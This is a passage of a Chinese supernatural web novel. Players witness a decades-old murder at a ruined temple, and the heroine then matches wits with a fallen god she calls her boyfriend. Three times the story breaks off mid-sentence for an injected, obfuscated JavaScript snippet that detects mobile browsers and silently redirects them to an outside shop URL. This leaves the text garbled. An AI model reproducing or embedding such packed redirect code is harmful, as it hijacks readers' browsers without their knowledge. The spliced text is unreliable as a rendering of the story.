“维啊,这可你亲口说的,要是让我发现你骗了我,下次可不会这么算了。” 很快,马大哥便解开马维和他一起走了。 小徒弟趴在门后看得云里雾里,这不是来对付他们的?怎么就这么走了? “高人,他们说的酒店不会就是美乐佳吧?”小徒弟溜到梯子旁,踩着两阶问。 楚念不确定,不敢把话说死了,“可能是。” 小徒弟更迷惑了,“这是什么意思?莫非修复这个神像和爱乐佳纵火案背后的真相有关?” 楚念摇了摇头,低身凝视着前方:“你还记得刚才那个老太太说的吗?修复什么样的神像,就会遇到什么样的机缘。修复的神像不同,看到的东西也不同。” “那我们看到的这个是……” “砰——” 紧闭的山门忽然又打开了。 原本离去的几人又回来了,只是这次他们的怀里多了一个人。 马大哥放下手里的人道:“村长!马维他就是不愿意掺合这个事,想带着家人到外面去生活而已,你杀他干什么?” “他说什么你信什么?赶紧把人给我抬起来,丢到前面的池子里去,等有人问起就说他自己摔进去的。反正平时除了他们一家子,也没人会来这!” “村长,你不是说这是市里的项目吗?怎么你还怕他出去说啊?莫不是他真的知道什么,你才这么着急封他的口?你这个酒店盖起来不会真的害了全村人吧……” “啪——”村长一巴掌打在那人脸上:“老子还不是为了让你们挣钱!结果现在怀疑起老子来了,赶紧把人丢进去,不然你们都跑不了。” “哎哟,老子就不该听你的,跟你搞什么投资,现在命案也惹出来了。” 几个人不情不愿,还是把马维绑着石头丢进了水塘里。 马大哥最是不舍马维,还在池塘前给他点了三支烟。 “兄弟,你别怪我啊!哥真的是尽力了,谁知道……” “行了,赶紧走吧。”村长催促道。 几个人走后不久。 村长又拖着一个麻袋丢进水塘里,“你不是找你男人吗?我现在就让你去找!” 麻袋里起初还在挣扎,后面渐渐就没有动静。 村长扫到电闪雷鸣下的神像,大喊道:“谁?谁在那里?” 大殿里的几个人被吓了一跳,纷纷找地方藏身,只有楚念一动不动。 村长冲进庙殿,捡起石头堆着神殿猛砸:“看!我让你看!老子等会儿就来砸了你!” 那些石头穿过楚念,直直砸在神像的眼睛。 小徒弟这才知道村长看不见他们,慢慢放松了警惕。 村长走后不久,一个赤脚的小女孩推开山门走了进来,她费力的想要拖起麻袋,可是最终只能看着麻袋一点点沉底。许久,她失魂落魄走进神殿,不自觉的合起双手,泪流满面仰望着面前的神像:“神仙,我求求你,救救我的妈妈。我和妈妈昨天还来看过你的,我求求你,救救她,救救她……” 所有人都把女孩的无力看在眼里,可是谁也帮不了她。 从他们的穿着就能看出,这应该是发生在几十年前的事,不然也不会有后面的美乐佳酒店。 小徒弟不死心的跑到水塘旁边,想把麻袋拖出来,而他抓到麻绳,手就直接从绳子穿过去了。 他无力绝望的望向高坐在神像前的楚念,希望她能施以援手,然而她们都只能眼睁睁看着往事重演。 “这个世界上,根本就没有神仙。”女孩终于绝望了,跌跌撞撞离开了,“我要报警,报警,找警察。” 小徒弟也希望女孩能找到警察,站住山门等她。 可是最后回来的却是拿着锄头返回的村长,他恶狠狠打砸着神像,嘴里不断念叨:“我让你看,让你看——” 神像尽毁。 整洁静谧的庙殿就成了她们最初看到的样子。 村长离开后,将山门彻底锁住。 再也没有人来过。 “警察呢?那个小女孩呢?”小徒弟脸上已经布满泪水:“就没有人管这个事了吗?” 漆黑寂静的庙殿里没有任何应答。 小徒弟百思不得其解:“让我们看这儿一切到底是什么意思啊?” 他们什么都做不了,只能看着两条鲜活的生命在他们面前消逝。 “那个小女孩也被他们害死了对不对?”苏雪眼睛通红从神像后面走出来,“所以,警察没有来。没有人知道这里发生了什么对吗?那些坏人也一直都在逍遥法外对吗?为什么好人就没有好报?为什么?为什么?” 苏雪趴在地上嚎啕大哭。 等到她的哭声渐渐隐去,苏念才缓缓开口道:”那个小女孩当时并没有死。” 其余三人猛的抬头向她看来。 楚念若有所思道:“后来她长大了,成为了这里的一名旅游大巴司机,我们来得时候坐得时候就是她的车。” “什么?” 楚念看着从村长进门,就一直站在水塘边望着这一幕的“女司机”,“谁说警察没有来呢?对吧,柯泽。” 直至此时才知道楚念那句话是什么意思。 柯泽闭上眼睛深吸了口气:“恩,我会封锁这里,让人来查这件事,给他们一个公道。所以,你是什么时候知道这里和现实世界的某个地方是相对应的?你到底是谁?” “楚念,一个普通到不能再普通的人。”她没有说谎,她就是一个走在大街上,不会引起喧哗普通人。 “好,”柯泽回道:“我会来找你的。” 苏雪听得云里雾里,却突然收到任务完成的提示。 系统:「作为一名壁画修复师,你最痛恨的就是利用壁画造谣的人!终于在你的努力下,破除了关于千山庙闹鬼的传闻!快快下山将真相公之于众吧!」 楚念看着天边渐渐亮起的光,“现在你们才真的该走了。柯泽,你带着两个女生一起下山吧。” “你呢?” “我的任务还没有完成。” 柯泽一惊:“你的任务怎么会没有完成?” 岂止是没有完成。 她的任务卡在姻缘树就不动了。 “恩,”楚念仰头:“但我心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056964|194192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大抵有谱了,你们先走吧。” 柯泽犹豫了下,还是决定相信她,背起已经陷入深度昏迷的崔敏下山了。 小徒弟还在念叨着“为什么要让他们看到这一幕”,楚念拍了拍身上的灰:“这一幕不是给你看的。” 小徒弟顿时反应过来,也是,他又不是大佬,给他看有什么用? “所以是给你看的,希望你能改变这一切是吗?” 楚念摇了摇头:“如果我没有猜错,这应该是这尊神像的梦魇。” “什么?”小徒弟诧异的看向被打砸的神像:“所以,你是说神明真的存在?并且看到的这一幕。” “恩。”楚念走下梯子,捡起从香案上滚落的苹果,擦了擦上面的尘土,又放回到石台上:“你怎么知道神明就没有无能为力的时刻呢?” 小徒弟脸上迷茫更甚。 楚念回道:“刚刚那些人说的酒店应该算是爱乐佳酒店的前身。你和你师父在接这个委托的时候,应该也查过相关资料的吧?那个村长就是后来爱乐佳旅游集团的董事长,网上除了他的照片,还有他的发家史。” 他的发家史,那可就太有的说。 通过涉毒涉黄涉赌涉黑有了第一桶金,然后一步步发展酒店旅游,把自己洗白成富有爱心、良心的大企业家,成立了爱乐佳旅游集团。 他发财以后,也没有忘记成就他第一桶金的故乡,重新修建了爱乐佳度假酒店,并开发了深牢山的旅游项目。 后来他就在带着公司高层到这里团建的时候,与一百多个客人和工作人员全部烧死在了这里。 这件事闹得太大了,可是凶手并没有逃亡,而是一起死在里面了。 这便被定性为员工过于劳累报复社会的恶性事件。 现在看来—— 楚念看着现在“女司机”旁边的“服务生”,“你和她是一伙的对吗?” 服务生牵着女司机的手,在空中写下一个字:弟。 “你们联合作案的?” “恩?”小徒弟不知道她在和谁说话,“高人,你又看到什么了?” “那个女司机和她的弟弟。” 小徒弟一惊,猛的抱住了她的手臂。 能看见算了,还能对话?这是什么高人啊! 等他出去以后,一定要拜她为师!这比他师祖还厉害啊! 女司机脖子上插着玻璃说不出话,只能用口型回答。 楚念一字一顿重复道:“一开始不是,弟弟背着我做了这件事,我看到酒店起火,想去救火的时候已经来不及了。可是我没想到弟弟搭上性命的一搏,还是让那些畜生跑了。我就开着大巴车假装去救他们,等着他们上车以后,将车开到了悬崖下面。为了防止他们没有死,我还特地上去补了刀。” 楚念盯着她脖子上的玻璃碎片,“插着这个吗?” 女司机愣了下,没想到她会关心自己那时候的状态,温柔的笑了笑,“恩。” “我知道自己罪大恶极,没想过要得到宽恕,可是我死了以后并没有下地狱,而是所有在那天死去的人,都被困在了那天。我和弟弟可以随意操纵那一天的结局,让他们以我们想要的任何方式死去。”楚念再次重复着她的口型:“起初很快意,可是渐渐也厌倦了。我,变成了和他们一样怪物。开始以别人的痛苦取乐。我们不想再经历这样生活了,下地狱也好,魂飞魄散也好,结束吧。” 15.信 仰 “你们不知道为什么会被困在这一天,所以你们在论坛发起了委托?”楚念问。 “女司机”点头。 小徒弟听完她的讲诉,又是一脸茫然。 楚念回道:“因为你们的神明开始显灵了。” “服务生”和“女司机”一愣。 小徒弟诧异的向着被砸毁的神像看去。 “你的意思是神明把他们困在了那一天吗?” “不是困,”楚念想了想:“他只是在让你们如愿。你们要是想走了,告诉他,他会让你们走的。” “可是我们从来没在这里见过神。”楚念重复着服务生手舞足蹈描述的话。 “你见过,只是神不再是神,”楚念回道:“那个老太太没有说错,这里已经没有神了,只有掏人心肠的恶鬼。” 恶鬼。 服务生喃喃自语,想起那个时不时在酒店原址以屠戮游客取乐的民宿老板,他们那一伙人……不管从前台员工还是后厨大娘,都是全员恶人,怎么可能是庇护他们的神明? “你是不是搞错了?”楚念重复着服务生的话,“他每次看我们的眼神都不怀好意,怎么可能是神呢?” “是啊,”楚念也在思索,“那怎么会是神呢?等他出来以后,再问问他吧。” “什么?他还在这里?”两姐弟一惊,立马就从庙殿里消失了。 楚念转身看向小徒弟:“你的委托完成了吧?” “什么委托?”小徒弟全然忘了自己的任务,后知后觉道:“哦哦,对,我师父的任务,是什么来着?” 楚念无奈的看着他。 他立刻从系统里翻出了自己的任务,在“姐弟”现身的时候,他的提示就已经变了,只是他一直没有留意。 “还没,我只是找到了雇主了解了事情的真相,但是并没有完成委托。” 他们的委托。 楚念神色微妙,小徒弟也猛的反应过来,一把抱住楚念的手臂:“不会是让我去和这尊神像谈,能不能放他们走吧?不是,我什么东西啊?人家要听我的?” 这个“谈”肯定不是面对面谈。 作为这一行的专业人士,自然有和“鬼神”交流的方式,但是事情闹到这一步,她真不认为这件事还能这么简单的解决。尤其是她——楚念深知自己在神明那已经不受待见,非常有自知之明的拍了拍小徒弟的肩:“你自求多福吧。” “别啊……”小徒弟都快哭了,他哪有这本事啊?别说什么委托了,他连怎么和神明沟通都不知道,盯着满地的狼藉,“高人,我看我师父他们都是点香,然后摇个签什么的问神仙意见,可这什么都没有啊……” 楚念退到门边没有吭声。 小徒弟更是着急,拉着她的外套,“高人,你说句话啊!这种副本里面要怎么和神明对话啊——” 楚念摆正他的脑袋向庙殿正中心看去。 一个丰神俊朗的男人坐在坍塌的神像上,露胸式的天衣勾勒出健硕的肌肉线条,胸前的宝石发出刺眼夺目的雍容贵气,缠绕在手臂上的锦帛飘逸灵动。小徒弟看了一眼立马跪了下来:“神,神仙,我,那个,我,是和我师父来做任务的,我……” “我知道了,”祁连嫌他的磕巴,抬手示意他别说下去,“我同意他们两个人走了。你也走吧。” “啊?”小徒弟手足无措的看了一眼身后的楚念:“那……其他人呢?” “你是说被他们烧死的人?当然是留在这里啊。”祁连温柔耐心的解释道。 “那……她呢?”小徒弟指着楚念。 “她啊,”提到楚念,他冰冷的眼底登时浮现出一抹促狭,“你说呢?女朋友。” 楚念从俩姐弟那件事就感觉到这个人有点儿小心眼子。 她这么耍他,他哪能这么轻易放过她。 她也知道,要是真闹到鱼死网破那一步,她必然不是他的对手。 顿时露出谄媚的笑容:“那可不?你都不愿意和我天长地久,我哪能走呢?” 明明两个人都在笑,气氛形势看着一片大好,可小徒弟莫名就是被吓出一声冷汗,哪怕收到委托完成的提醒,也没敢轻易脱离副本。 他知道自己没什么本事,但还是不想把楚念一个人留在这儿。 如果没有楚念,他们这群人在民宿就得全军覆没,此刻其他人都走了,他更应该留下来和她同进退。 楚念也深知自己接下来应该是凶多吉少。 他让小徒弟和其他人走,不是因为仁慈,而是他对她的厌憎已经远超过其他人。 其他人活着出去了没事,但她必须死在这里。 楚念拉过小徒弟的袖子,“走吧。” “可是……” “我后面不一定能护住你了,没必要再搭一个人在这儿。” 小徒弟一怔,眼眶瞬间红了:“你已经做好了……怎么可以?你救了我们,做了那么多事,怎么可以是你……” 就是因为她做了很多事情才一定要死在这里。 或许在梦境里的时候,她不强留他,任由他出来大开杀戒,自己或许能苟得一命。可这也意味着把自己的命运交给他的喜怒,她不喜欢,也不愿意。 楚念摇了摇头:“在他还没有改变主意之前赶紧走吧。” 祁连笑道:“女朋友还是很了解我的。” 小徒弟深深看了她一眼,决定相信她,不留下来做她的累赘,点了「确定离开」,就从山门跑了出去。 ** 同时,安静了一会儿屠皇粉丝群再次被系统的一句话点燃—— :「我靠!!有四个人活着出去了!」 :「什么?副本结束了吗?屠皇呢?」 :「还没结束!现在还有两个玩家在里面!其中一个生命值正在狂掉!估计快要死了!」 :「我的天啊,我还是第一次看到有人能从屠皇的手里活着出来!」 :「还有更逆天的!他们是完成了任务出来的!我去!这几个人可以载入人类玩家的群星闪耀时了!」 :「啊啊啊啊,到底发生了什么了啊?我第一次看到官方预告失效的!明明预测了会有七个玩家进入第二夜,并且全军覆没!结果人家不仅没死,还完成了任务!」 :「他们这个副本到底有谁在啊?怎么会让屠皇玩成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17069288|194192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样啊?」 :「屠皇这把玩得太烂了,不会真的是被美色迷惑了吧?」 ** 直播间依旧在禁播阶段,观众讨论的再热火朝天,对副本也没有丝毫影响—— 至此喧闹的庙殿归于平静,原本泛起亮光的天边再次暗淡下来。 山崖下静得要命,听不到一丝风声鸟叫,露出死寂之地最真实的面目。 他依旧是那副慵懒轻松的姿态,在渐渐沉寂的天光中依旧光彩照人。 “有你在这儿陪我也挺好的。” 这种死地对于任何领略过热闹繁华活人都是一种诅咒。 可楚念只是温柔平静的微笑,并主动在他的身边坐下:“谁说不是呢?在这里可以看到日出吗?” 没有得到他想要的反应。 祁连脸上的笑意逐渐淡去。他留下她,不是要和她过日子,而是要在反复无措的恐惧和渺茫的希冀中,一点一点玩死她。 漆黑的庙殿里忽然亮起烛火,庞大的驴头人身影子陡然出现在墙面上,高举着斧头,对准她的头颅。 她看见了,但是也没有流露出太多的恐惧:“男朋友,我有几个疑问,你可以回答我吗?” “问什么?”悬在她头顶的斧头依旧没有放下。 “你到底是谁?为什么修建不同时期的神像,会有不同的机缘?它们代表的是各个时期不同的你吗?” “你猜?”他双手反撑在身后:“猜错一个,我就剁你一根手指,如何?” “可以,但是你得先回答我两个问题。这里真的是有蛟龙的骨架修建的吗?为什么又被称为龙王庙?马维死在这儿的那个夜晚,你真的想过要救他,但你没有任何办法,只能看着自己的信徒对你失望吗?” “你这是三个问题。” 楚念步步紧逼,侧身向他靠近一些:“你是什么时候开始存在的?什么时候从泥身觉醒了意识?又是从什么时候由神堕落为恶鬼?我其中最好奇的是,神明诞生于凡人的信仰,也消亡于凡人的信仰。在马维的那个年代,就已经没有多少人在信仰你了。” 不然他们也不敢堂而皇之到这里抛尸。 “马维的妻子应该是你最后的信徒,她死了,你也就应该消失了。可是你和那些被遗忘的神明不一样,你的身上还有一股力量,哪怕你沦为恶鬼,他们依旧愿意供奉你,他们是谁?” 祁连脸色笑意尽失。 悬在她头顶的斧头冷不丁落下,她却早有准备,一把抓起旁边的背包顶在头顶。 斧头卡在里面的工具箱里,为她换得一丝喘息。 她不卑不亢,继续反问:“他们不让我按照西夏的观音像来修复这尊神像,是因为他们不想你再经历这样的梦魇。祁连,你的力量并不来自于你,而是来自以那群哪怕你沦落于恶鬼,依旧要供奉你的人。” “不对,”她自顾自摇了摇头:“他们或许也不是人了。” 可是纵使如此,“他们”也依旧要供奉他。 “你到底是谁?”他已经彻底勾起了她的好奇,她没有见过任何一个穷凶极恶的恶鬼可以享受这样的信仰,“男朋友,回答我吧。” 16.真 相 她从一开始就没想过从他嘴里听到答案,而是在通过他的反应,无限接近真相。 “你以为你知道谁在供奉我,就可以消灭我,从这里逃出去吗?”祁连发出一声冷笑,像是在嘲讽她的天真。 楚念并不急于反驳,在雨夜屠夫刚才对她动手的途中,她已经感觉到了对方对她的恐惧。 抬头问道:“可以把我头上的斧头移开吗?” 雨夜屠夫没有说话。 楚念又问:“你也不想变得和那块史莱姆一样吧?” 果不其然,墙上的影子立马发出一声恐慌的惨叫,史莱姆是什么它不知道,但是「噬」的下场有目共睹。 “她骗你的,你急什么?”祁连出声提醒。 然而它根本不听他说什么,瞬间就跑得没影了。 祁连倒映在墙上的影子立马变得正常。 它比她想象中还要怕她。 难怪她一动,悬在它头上的斧头也开始闪躲,生怕她还手似的。 楚念暗自松了口气,“我猜对了,为什么还要砍我?” “抱歉,女朋友,”他无辜的抬起手,“可这并不是我动的手。” 楚念嘴唇微抿。 自是看穿了他的把戏,却又无可奈何。 “你问了我这么多问题,不如我来问问你吧,”祁连倾身询问:“你说从什么时候开始发现我的?” “与其问我什么时候发现你的,不如说你从一开始就没打算过要藏。” “也是,”祁连若有所思,“那我们之间,也算是有过甜蜜的时光。” 楚念不知道他是什么意思,安静等待着他继续说下去。 “这样吧,”他指向门外的姻缘树:“我允许你再去挂一次,要是能成功,我也放你走。” 楚念自是不相信他的鬼话,有了刚才的前车之鉴,她必然不会再贸然行动。 “没关系,我这个人不喜欢强求,”楚念故作镇定:“你还没有告诉我,你是什么。” “一具有了意识的泥身塑像。” 撒谎。 楚念没有拆穿他,顺着他的话,假意抬手向着他的喉结贴近:“既然你能听到,也能看见,那我为你描妆的时候,你应该也能感觉到吧?” 祁连没有回答,只是微垂着眼睑,淡淡盯着她想要亲近却又不敢靠近的手指。 楚念循循善诱:“你看,男朋友,你也觉得我们有过一段甜蜜的时光。过去种种,我们都既往不咎,如何?” 殊不知他一个字没听进去,冷不丁掰过她的身体,一口咬在了她的肩上。 咬合力极大,几乎要咬碎她的骨头。 楚念被吓了一跳,但是也迅速回过神。 强忍着肩上的巨痛,握着刚才用来给神像描唇的细长狼毫笔,缓缓举到耳侧,将笔杆尾部的金属尾部当作锥子,狠狠扎进了他的咽喉。 一口血瞬间从他嘴里喷涌而出。 染红了她半边衣袖。 他顿时发出剧烈的咳嗽和漏风般的喘气声,缓缓松开拽着她的手指,捂着脖子上的伤口,倚靠在破碎的神像上凝视着她。 他如她所预想的一样,没有任何窒息瘫软的进展,而是在一系列生理反应以后,趋于平静。 楚念深知局势的复杂和紧张,主动解释道:“我没有想要伤你,是你先动的手。” “当然。”祁连还算讲道理,强忍着喉部的不适回道。 楚念默不作声的观察着他。 他倒像是冷静了下来,“你不是想知道我是谁吗?那就去查吧。” 楚念没有动,反而关心起他来,主动向他靠近:“男朋友,你没事吧?” “你觉得呢?” 他看起来很不好,不知是不是唇上的血过于浓郁,使得他的脸色格外苍白,仿佛失去了所有和她对抗的力气。 一动不动的倚在坍塌过半的神像上。 她那一击那么有效? 楚念将信将疑,拉着他胸前的璎珞,“男朋友,既然你这么不喜欢这身衣裳,我帮你把它脱了吧?” 他没有回答,只是深深盯着她。 楚念仿若未闻的摘下他头上的宝冠,随即他胸前的珠宝,整个过程中,他就这样看着她,没有一丝回击的意思。 她耳垂泛红,故作不经意的避开他的视线,将他身上最后的天衣也脱了下来。 健硕的胸膛和线条分明的腰腹,透着肩宽腰阔的雄健俊美。 下身长及脚踝的长裙被支起的膝盖带起,腰间的裙带长帛随之垂落在石台上。 楚念感受到他凝视中的深沉,眼神更是飘忽的厉害。 他这样都没有反击,看到是真的被伤到元气,一时半会儿动不了了。 她如释重负的松了口气,用力拔下插在他喉部的狼毫笔,“男朋友,我无意伤你,只是我这个人负担重,死不得,现在我问什么,你答什么行吗?” 他没有拒绝。 “为什么你的梦境中是将军像,而这壁画上却是关于蛟龙骨架建庙的记载?” “因为我就是那条蛟龙,他们用我的骨架建庙,也等于把我困在了这里,”他言语温和,“你如果能帮我把这座庙拆了,将我的骨架安葬,那你也就可以离开这里了。” 楚念沉默思索。 “你不是好奇我的力量从何而来吗?”他扬头示意她回头,“他们杀了我,又将我困在这里,以此保佑他们的子孙世代顺遂。于是他们死了以后,我也将他们困在这里,世代供奉我。你把这座庙拆了,我解脱了,他们自然也走了,困住你的力量自然也就消散了。” 不知何时,窗外的天已经彻底暗了下来,宛如一抹浓稠的墨色。 漆黑的水塘上泛起绿色的荧光,看着格外幽深。 “那我要怎么做才能拆掉这座庙?”楚念盯着水面上的荧光问。 “用火烧。” 话音落下,水面上绿色的荧光变成了一条条细长的人影。 直直盯着楚念。 “普通的火就可以吗?” 祁连看了一眼已经熄灭的烛台,“普通的火怎么烧得了?” 用供奉他的香火烧他的庙。 楚念倒吸了口凉气,又无奈的呼出:“男朋友,我对你可没有这么不安好心。” 她光是挂了一个要和他天长地久的许愿签就被雷劈,更何况是拆他的庙,难怪池塘里那些荧光都“站”起来了,这换哪个信徒接受的了? “怎么会?”他温文尔雅的解释:“我这是在帮你。” 他这副嘴脸,楚念再熟悉不过,他在车上想要允许他吃掉她的时候就是这个表情。 “既然你说你就是那条蛟龙,那我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17079963|194192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是否可以理解为,这座庙里供奉的就是你的骨灰。” 他没有回答,只是湖面上的影子越聚越多。 楚念无知无觉,“你曾经的确是一个将军,但是后来发生了一些别的事,你的功绩被抹去了,甚至连入土为安都做不到,他们才想到用这样的方法为你下葬。” “你除不掉我,你就想借他们之手,对吗?”如果这里真的有他的骨灰,那烧这座庙无异让他灰飞烟灭,他的那些供奉者绝对不会允许,会不惜一切力量除掉她。 祁连不回答她任何接近真相的问题。 楚念也不在意,因为她已经有答案了,“你的规则里,一定有一条是在制约你伤害我的。你现在动不了,与我对你的伤害无关,而是你违背规则咬伤我的惩罚。” 所以他才会反复诱导她同意。 祁连依旧不回答。 楚念继续随着这个思路深究:“你在和我们一起上山的时候,是准备丢掉我们所有人走掉的,但是我让你背我,你不愿意却也同意了。你的规则里是否还有一条,就是不能拒绝我的请求?因为这才符合你作为我男朋友的人设。叫我宝贝,也不是因为你浪荡,而是在你的人设里,我就是你宝贝到不能违背的女朋友,对吧?” 祁连就这样眼睁睁的看着她距离真相越来越近。 楚念忽然觉得她所求的这些,并非是她的愿望,而是他的人设希望她做的。 “所以你的人物设定是看起来没那么喜欢我,但其实背地里是那种占有欲爆棚想要和我天长地久的偏执男友?”楚念觉得不可思议,仔细回想又觉得都在情理之中,“你想和我天长地久,却要我反过来求你?男朋友,你这个人设可真有意思。” “确实很有意思,”祁连后槽牙不动声色咬紧,“我也是第一次发现这个角色这么有趣。” “那不让我和你天长地久,是他们的意思?”觉得她亵渎了他们的神明,“供奉你的人是谁?你的朋友,亲人,还是你治下的百姓?” “谁知道呢。”祁连回道。 这么关心他,又能供奉他这么久,应该是他的亲人,甚至是长辈。 楚念顿时灵光一闪:“难道他们是觉得我那样太过草率?那我要是好好和你拜堂成亲,行什么三媒六聘,三书六礼。” 祁连没有回答。 楚念更觉得自己应该是猜对了,想要起身去把外面的老太太请进来。不管她是什么身份,看起来也算是它们当中的长辈了。 原本在姻缘亭里整理红绳的老太太,听到这句话,差点儿被一头磕在桌面上。 这位小姐…… 在看眼色这方面,完全就是天才来的。 就因为她挂得红绳,连姻缘树都被劈了。嘿嘿,您猜现在这么着?她现在要领着别人拜堂成亲,还要给人家下聘礼了。 老太太身经百战,听着都感觉没招了。 别给BOSS惹急了,连这座庙一起给拆了。到时候修起来可就费功夫了。 “啪嗒——” 楚念准备起身的刹那,手里的狼毫笔忽然没有任何征兆的坠落。 她也不禁身子一歪,瘫坐在地上。 “诶?”她发出一声疑惑,后知后觉意识到自己被咬伤的肩膀已经很久没疼过了。 原本在她心里无法动弹的祁连,温柔的偏过头:“诶?”